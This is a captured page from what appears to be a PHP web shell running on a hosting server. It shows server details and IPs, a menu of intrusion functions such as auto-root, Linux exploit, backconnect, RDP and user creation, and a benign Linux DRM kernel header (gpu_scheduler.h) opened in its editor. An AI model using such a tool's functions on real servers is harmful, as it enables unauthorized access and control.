Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 108.162.242.81
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25 /
include /
drm /
[ HOME SHELL ]
Name
Size
Permission
Action
bridge
[ DIR ]
drwxr-xr-x
i2c
[ DIR ]
drwxr-xr-x
ttm
[ DIR ]
drwxr-xr-x
amd_asic_type.h
2.15
KB
-rw-r--r--
drm_aperture.h
1.13
KB
-rw-r--r--
drm_atomic.h
40.7
KB
-rw-r--r--
drm_atomic_helper.h
9.27
KB
-rw-r--r--
drm_atomic_state_helper.h
4.21
KB
-rw-r--r--
drm_atomic_uapi.h
2.17
KB
-rw-r--r--
drm_audio_component.h
3.79
KB
-rw-r--r--
drm_auth.h
4.64
KB
-rw-r--r--
drm_blend.h
2.35
KB
-rw-r--r--
drm_bridge.h
33.19
KB
-rw-r--r--
drm_bridge_connector.h
548
B
-rw-r--r--
drm_cache.h
3.01
KB
-rw-r--r--
drm_client.h
4.94
KB
-rw-r--r--
drm_color_mgmt.h
3.79
KB
-rw-r--r--
drm_connector.h
55.15
KB
-rw-r--r--
drm_crtc.h
44.48
KB
-rw-r--r--
drm_crtc_helper.h
2.39
KB
-rw-r--r--
drm_damage_helper.h
3.33
KB
-rw-r--r--
drm_debugfs.h
3.4
KB
-rw-r--r--
drm_debugfs_crc.h
2.66
KB
-rw-r--r--
drm_device.h
8.52
KB
-rw-r--r--
drm_displayid.h
3.32
KB
-rw-r--r--
drm_dp_aux_bus.h
1.7
KB
-rw-r--r--
drm_dp_dual_mode_helper.h
4.62
KB
-rw-r--r--
drm_dp_helper.h
87.62
KB
-rw-r--r--
drm_dp_mst_helper.h
27.73
KB
-rw-r--r--
drm_drv.h
18.67
KB
-rw-r--r--
drm_dsc.h
16.29
KB
-rw-r--r--
drm_edid.h
17.16
KB
-rw-r--r--
drm_encoder.h
10.64
KB
-rw-r--r--
drm_encoder_slave.h
6.44
KB
-rw-r--r--
drm_fb_cma_helper.h
575
B
-rw-r--r--
drm_fb_helper.h
12.71
KB
-rw-r--r--
drm_file.h
12.12
KB
-rw-r--r--
drm_fixed.h
4.71
KB
-rw-r--r--
drm_flip_work.h
3.01
KB
-rw-r--r--
drm_format_helper.h
1.49
KB
-rw-r--r--
drm_fourcc.h
9.7
KB
-rw-r--r--
drm_framebuffer.h
10.4
KB
-rw-r--r--
drm_gem.h
11.8
KB
-rw-r--r--
drm_gem_atomic_helper.h
4.61
KB
-rw-r--r--
drm_gem_cma_helper.h
6.83
KB
-rw-r--r--
drm_gem_framebuffer_helper.h
2.06
KB
-rw-r--r--
drm_gem_shmem_helper.h
4.23
KB
-rw-r--r--
drm_gem_ttm_helper.h
861
B
-rw-r--r--
drm_gem_vram_helper.h
6.17
KB
-rw-r--r--
drm_hashtab.h
3.01
KB
-rw-r--r--
drm_hdcp.h
8.79
KB
-rw-r--r--
drm_ioctl.h
6.23
KB
-rw-r--r--
drm_lease.h
1010
B
-rw-r--r--
drm_legacy.h
9.26
KB
-rw-r--r--
drm_managed.h
3.35
KB
-rw-r--r--
drm_mipi_dbi.h
4.72
KB
-rw-r--r--
drm_mipi_dsi.h
10.79
KB
-rw-r--r--
drm_mm.h
17.5
KB
-rw-r--r--
drm_mode_config.h
32.24
KB
-rw-r--r--
drm_mode_object.h
5.17
KB
-rw-r--r--
drm_modes.h
18.18
KB
-rw-r--r--
drm_modeset_helper.h
1.77
KB
-rw-r--r--
drm_modeset_helper_vtables.h
55.98
KB
-rw-r--r--
drm_modeset_lock.h
6.8
KB
-rw-r--r--
drm_of.h
4.11
KB
-rw-r--r--
drm_panel.h
6.26
KB
-rw-r--r--
drm_pciids.h
66.47
KB
-rw-r--r--
drm_plane.h
28.48
KB
-rw-r--r--
drm_plane_helper.h
1.75
KB
-rw-r--r--
drm_prime.h
4.07
KB
-rw-r--r--
drm_print.h
16.09
KB
-rw-r--r--
drm_probe_helper.h
848
B
-rw-r--r--
drm_property.h
11.76
KB
-rw-r--r--
drm_rect.h
6.86
KB
-rw-r--r--
drm_scdc_helper.h
4.34
KB
-rw-r--r--
drm_self_refresh_helper.h
594
B
-rw-r--r--
drm_simple_kms_helper.h
8.91
KB
-rw-r--r--
drm_syncobj.h
3.85
KB
-rw-r--r--
drm_sysfs.h
442
B
-rw-r--r--
drm_util.h
2.58
KB
-rw-r--r--
drm_utils.h
504
B
-rw-r--r--
drm_vblank.h
9.04
KB
-rw-r--r--
drm_vblank_work.h
1.91
KB
-rw-r--r--
drm_vma_manager.h
8.15
KB
-rw-r--r--
drm_writeback.h
4.05
KB
-rw-r--r--
gma_drm.h
413
B
-rw-r--r--
gpu_scheduler.h
15.44
KB
-rw-r--r--
gud.h
11.58
KB
-rw-r--r--
i915_component.h
1.76
KB
-rw-r--r--
i915_drm.h
3.6
KB
-rw-r--r--
i915_mei_hdcp_interface.h
5.76
KB
-rw-r--r--
i915_pciids.h
21.38
KB
-rw-r--r--
intel-gtt.h
996
B
-rw-r--r--
intel_lpe_audio.h
1.72
KB
-rw-r--r--
spsc_queue.h
3.06
KB
-rw-r--r--
task_barrier.h
2.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gpu_scheduler.h
/* * Copyright 2015 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef _DRM_GPU_SCHEDULER_H_ #define _DRM_GPU_SCHEDULER_H_ #include <drm/spsc_queue.h> #include <linux/dma-fence.h> #include <linux/completion.h> #define MAX_WAIT_SCHED_ENTITY_Q_EMPTY msecs_to_jiffies(1000) struct drm_gpu_scheduler; struct drm_sched_rq; /* These are often used as an (initial) index * to an array, and as such should start at 0. */ enum drm_sched_priority { DRM_SCHED_PRIORITY_MIN, DRM_SCHED_PRIORITY_NORMAL, DRM_SCHED_PRIORITY_HIGH, DRM_SCHED_PRIORITY_KERNEL, DRM_SCHED_PRIORITY_COUNT, DRM_SCHED_PRIORITY_UNSET = -2 }; /** * struct drm_sched_entity - A wrapper around a job queue (typically * attached to the DRM file_priv). * * @list: used to append this struct to the list of entities in the * runqueue. * @rq: runqueue on which this entity is currently scheduled. * @sched_list: A list of schedulers (drm_gpu_schedulers). * Jobs from this entity can be scheduled on any scheduler * on this list. * @num_sched_list: number of drm_gpu_schedulers in the sched_list. * @priority: priority of the entity * @rq_lock: lock to modify the runqueue to which this entity belongs. * @job_queue: the list of jobs of this entity. * @fence_seq: a linearly increasing seqno incremented with each * new &drm_sched_fence which is part of the entity. * @fence_context: a unique context for all the fences which belong * to this entity. * The &drm_sched_fence.scheduled uses the * fence_context but &drm_sched_fence.finished uses * fence_context + 1. * @dependency: the dependency fence of the job which is on the top * of the job queue. * @cb: callback for the dependency fence above. * @guilty: points to ctx's guilty. * @fini_status: contains the exit status in case the process was signalled. * @last_scheduled: points to the finished fence of the last scheduled job. * @last_user: last group leader pushing a job into the entity. * @stopped: Marks the enity as removed from rq and destined for termination. * @entity_idle: Signals when enityt is not in use * * Entities will emit jobs in order to their corresponding hardware * ring, and the scheduler will alternate between entities based on * scheduling policy. */ struct drm_sched_entity { struct list_head list; struct drm_sched_rq *rq; struct drm_gpu_scheduler **sched_list; unsigned int num_sched_list; enum drm_sched_priority priority; spinlock_t rq_lock; struct spsc_queue job_queue; atomic_t fence_seq; uint64_t fence_context; struct dma_fence *dependency; struct dma_fence_cb cb; atomic_t *guilty; struct dma_fence *last_scheduled; struct task_struct *last_user; bool stopped; struct completion entity_idle; }; /** * struct drm_sched_rq - queue of entities to be scheduled. * * @lock: to modify the entities list. * @sched: the scheduler to which this rq belongs to. * @entities: list of the entities to be scheduled. * @current_entity: the entity which is to be scheduled. * * Run queue is a set of entities scheduling command submissions for * one specific ring. It implements the scheduling policy that selects * the next entity to emit commands from. */ struct drm_sched_rq { spinlock_t lock; struct drm_gpu_scheduler *sched; struct list_head entities; struct drm_sched_entity *current_entity; }; /** * struct drm_sched_fence - fences corresponding to the scheduling of a job. */ struct drm_sched_fence { /** * @scheduled: this fence is what will be signaled by the scheduler * when the job is scheduled. */ struct dma_fence scheduled; /** * @finished: this fence is what will be signaled by the scheduler * when the job is completed. * * When setting up an out fence for the job, you should use * this, since it's available immediately upon * drm_sched_job_init(), and the fence returned by the driver * from run_job() won't be created until the dependencies have * resolved. */ struct dma_fence finished; /** * @parent: the fence returned by &drm_sched_backend_ops.run_job * when scheduling the job on hardware. We signal the * &drm_sched_fence.finished fence once parent is signalled. */ struct dma_fence *parent; /** * @sched: the scheduler instance to which the job having this struct * belongs to. */ struct drm_gpu_scheduler *sched; /** * @lock: the lock used by the scheduled and the finished fences. */ spinlock_t lock; /** * @owner: job owner for debugging */ void *owner; }; struct drm_sched_fence *to_drm_sched_fence(struct dma_fence *f); /** * struct drm_sched_job - A job to be run by an entity. * * @queue_node: used to append this struct to the queue of jobs in an entity. * @list: a job participates in a "pending" and "done" lists. * @sched: the scheduler instance on which this job is scheduled. * @s_fence: contains the fences for the scheduling of job. * @finish_cb: the callback for the finished fence. * @id: a unique id assigned to each job scheduled on the scheduler. * @karma: increment on every hang caused by this job. If this exceeds the hang * limit of the scheduler then the job is marked guilty and will not * be scheduled further. * @s_priority: the priority of the job. * @entity: the entity to which this job belongs. * @cb: the callback for the parent fence in s_fence. * * A job is created by the driver using drm_sched_job_init(), and * should call drm_sched_entity_push_job() once it wants the scheduler * to schedule the job. */ struct drm_sched_job { struct spsc_node queue_node; struct list_head list; struct drm_gpu_scheduler *sched; struct drm_sched_fence *s_fence; struct dma_fence_cb finish_cb; uint64_t id; atomic_t karma; enum drm_sched_priority s_priority; struct drm_sched_entity *entity; struct dma_fence_cb cb; }; static inline bool drm_sched_invalidate_job(struct drm_sched_job *s_job, int threshold) { return s_job && atomic_inc_return(&s_job->karma) > threshold; } enum drm_gpu_sched_stat { DRM_GPU_SCHED_STAT_NONE, /* Reserve 0 */ DRM_GPU_SCHED_STAT_NOMINAL, DRM_GPU_SCHED_STAT_ENODEV, }; /** * struct drm_sched_backend_ops * * Define the backend operations called by the scheduler, * these functions should be implemented in driver side. */ struct drm_sched_backend_ops { /** * @dependency: Called when the scheduler is considering scheduling * this job next, to get another struct dma_fence for this job to * block on. Once it returns NULL, run_job() may be called. */ struct dma_fence *(*dependency)(struct drm_sched_job *sched_job, struct drm_sched_entity *s_entity); /** * @run_job: Called to execute the job once all of the dependencies * have been resolved. This may be called multiple times, if * timedout_job() has happened and drm_sched_job_recovery() * decides to try it again. */ struct dma_fence *(*run_job)(struct drm_sched_job *sched_job); /** * @timedout_job: Called when a job has taken too long to execute, * to trigger GPU recovery. * * This method is called in a workqueue context. * * Drivers typically issue a reset to recover from GPU hangs, and this * procedure usually follows the following workflow: * * 1. Stop the scheduler using drm_sched_stop(). This will park the * scheduler thread and cancel the timeout work, guaranteeing that * nothing is queued while we reset the hardware queue * 2. Try to gracefully stop non-faulty jobs (optional) * 3. Issue a GPU reset (driver-specific) * 4. Re-submit jobs using drm_sched_resubmit_jobs() * 5. Restart the scheduler using drm_sched_start(). At that point, new * jobs can be queued, and the scheduler thread is unblocked * * Note that some GPUs have distinct hardware queues but need to reset * the GPU globally, which requires extra synchronization between the * timeout handler of the different &drm_gpu_scheduler. One way to * achieve this synchronization is to create an ordered workqueue * (using alloc_ordered_workqueue()) at the driver level, and pass this * queue to drm_sched_init(), to guarantee that timeout handlers are * executed sequentially. The above workflow needs to be slightly * adjusted in that case: * * 1. Stop all schedulers impacted by the reset using drm_sched_stop() * 2. Try to gracefully stop non-faulty jobs on all queues impacted by * the reset (optional) * 3. Issue a GPU reset on all faulty queues (driver-specific) * 4. Re-submit jobs on all schedulers impacted by the reset using * drm_sched_resubmit_jobs() * 5. Restart all schedulers that were stopped in step #1 using * drm_sched_start() * * Return DRM_GPU_SCHED_STAT_NOMINAL, when all is normal, * and the underlying driver has started or completed recovery. * * Return DRM_GPU_SCHED_STAT_ENODEV, if the device is no longer * available, i.e. has been unplugged. */ enum drm_gpu_sched_stat (*timedout_job)(struct drm_sched_job *sched_job); /** * @free_job: Called once the job's finished fence has been signaled * and it's time to clean it up. */ void (*free_job)(struct drm_sched_job *sched_job); }; /** * struct drm_gpu_scheduler * * @ops: backend operations provided by the driver. * @hw_submission_limit: the max size of the hardware queue. * @timeout: the time after which a job is removed from the scheduler. * @name: name of the ring for which this scheduler is being used. * @sched_rq: priority wise array of run queues. * @wake_up_worker: the wait queue on which the scheduler sleeps until a job * is ready to be scheduled. * @job_scheduled: once @drm_sched_entity_do_release is called the scheduler * waits on this wait queue until all the scheduled jobs are * finished. * @hw_rq_count: the number of jobs currently in the hardware queue. * @job_id_count: used to assign unique id to the each job. * @timeout_wq: workqueue used to queue @work_tdr * @work_tdr: schedules a delayed call to @drm_sched_job_timedout after the * timeout interval is over. * @thread: the kthread on which the scheduler which run. * @pending_list: the list of jobs which are currently in the job queue. * @job_list_lock: lock to protect the pending_list. * @hang_limit: once the hangs by a job crosses this limit then it is marked * guilty and it will no longer be considered for scheduling. * @score: score to help loadbalancer pick a idle sched * @_score: score used when the driver doesn't provide one * @ready: marks if the underlying HW is ready to work * @free_guilty: A hit to time out handler to free the guilty job. * * One scheduler is implemented for each hardware ring. */ struct drm_gpu_scheduler { const struct drm_sched_backend_ops *ops; uint32_t hw_submission_limit; long timeout; const char *name; struct drm_sched_rq sched_rq[DRM_SCHED_PRIORITY_COUNT]; wait_queue_head_t wake_up_worker; wait_queue_head_t job_scheduled; atomic_t hw_rq_count; atomic64_t job_id_count; struct workqueue_struct *timeout_wq; struct delayed_work work_tdr; struct task_struct *thread; struct list_head pending_list; spinlock_t job_list_lock; int hang_limit; atomic_t *score; atomic_t _score; bool ready; bool free_guilty; }; int drm_sched_init(struct drm_gpu_scheduler *sched, const struct drm_sched_backend_ops *ops, uint32_t hw_submission, unsigned hang_limit, long timeout, struct workqueue_struct *timeout_wq, atomic_t *score, const char *name); void drm_sched_fini(struct drm_gpu_scheduler *sched); int drm_sched_job_init(struct drm_sched_job *job, struct drm_sched_entity *entity, void *owner); void drm_sched_entity_modify_sched(struct drm_sched_entity *entity, struct drm_gpu_scheduler **sched_list, unsigned int num_sched_list); void drm_sched_job_cleanup(struct drm_sched_job *job); void drm_sched_wakeup(struct drm_gpu_scheduler *sched); void drm_sched_stop(struct drm_gpu_scheduler *sched, struct drm_sched_job *bad); void drm_sched_start(struct drm_gpu_scheduler *sched, bool full_recovery); void drm_sched_resubmit_jobs(struct drm_gpu_scheduler *sched); void drm_sched_resubmit_jobs_ext(struct drm_gpu_scheduler *sched, int max); void drm_sched_increase_karma(struct drm_sched_job *bad); void drm_sched_reset_karma(struct drm_sched_job *bad); void drm_sched_increase_karma_ext(struct drm_sched_job *bad, int type); bool drm_sched_dependency_optimized(struct dma_fence* fence, struct drm_sched_entity *entity); void drm_sched_fault(struct drm_gpu_scheduler *sched); void drm_sched_job_kickout(struct drm_sched_job *s_job); void drm_sched_rq_add_entity(struct drm_sched_rq *rq, struct drm_sched_entity *entity); void drm_sched_rq_remove_entity(struct drm_sched_rq *rq, struct drm_sched_entity *entity); int drm_sched_entity_init(struct drm_sched_entity *entity, enum drm_sched_priority priority, struct drm_gpu_scheduler **sched_list, unsigned int num_sched_list, atomic_t *guilty); long drm_sched_entity_flush(struct drm_sched_entity *entity, long timeout); void drm_sched_entity_fini(struct drm_sched_entity *entity); void drm_sched_entity_destroy(struct drm_sched_entity *entity); void drm_sched_entity_select_rq(struct drm_sched_entity *entity); struct drm_sched_job *drm_sched_entity_pop_job(struct drm_sched_entity *entity); void drm_sched_entity_push_job(struct drm_sched_job *sched_job, struct drm_sched_entity *entity); void drm_sched_entity_set_priority(struct drm_sched_entity *entity, enum drm_sched_priority priority); bool drm_sched_entity_is_ready(struct drm_sched_entity *entity); struct drm_sched_fence *drm_sched_fence_create( struct drm_sched_entity *s_entity, void *owner); void drm_sched_fence_scheduled(struct drm_sched_fence *fence); void drm_sched_fence_finished(struct drm_sched_fence *fence); unsigned long drm_sched_suspend_timeout(struct drm_gpu_scheduler *sched); void drm_sched_resume_timeout(struct drm_gpu_scheduler *sched, unsigned long remaining); struct drm_gpu_scheduler * drm_sched_pick_best(struct drm_gpu_scheduler **sched_list, unsigned int num_sched_list); #endif
Close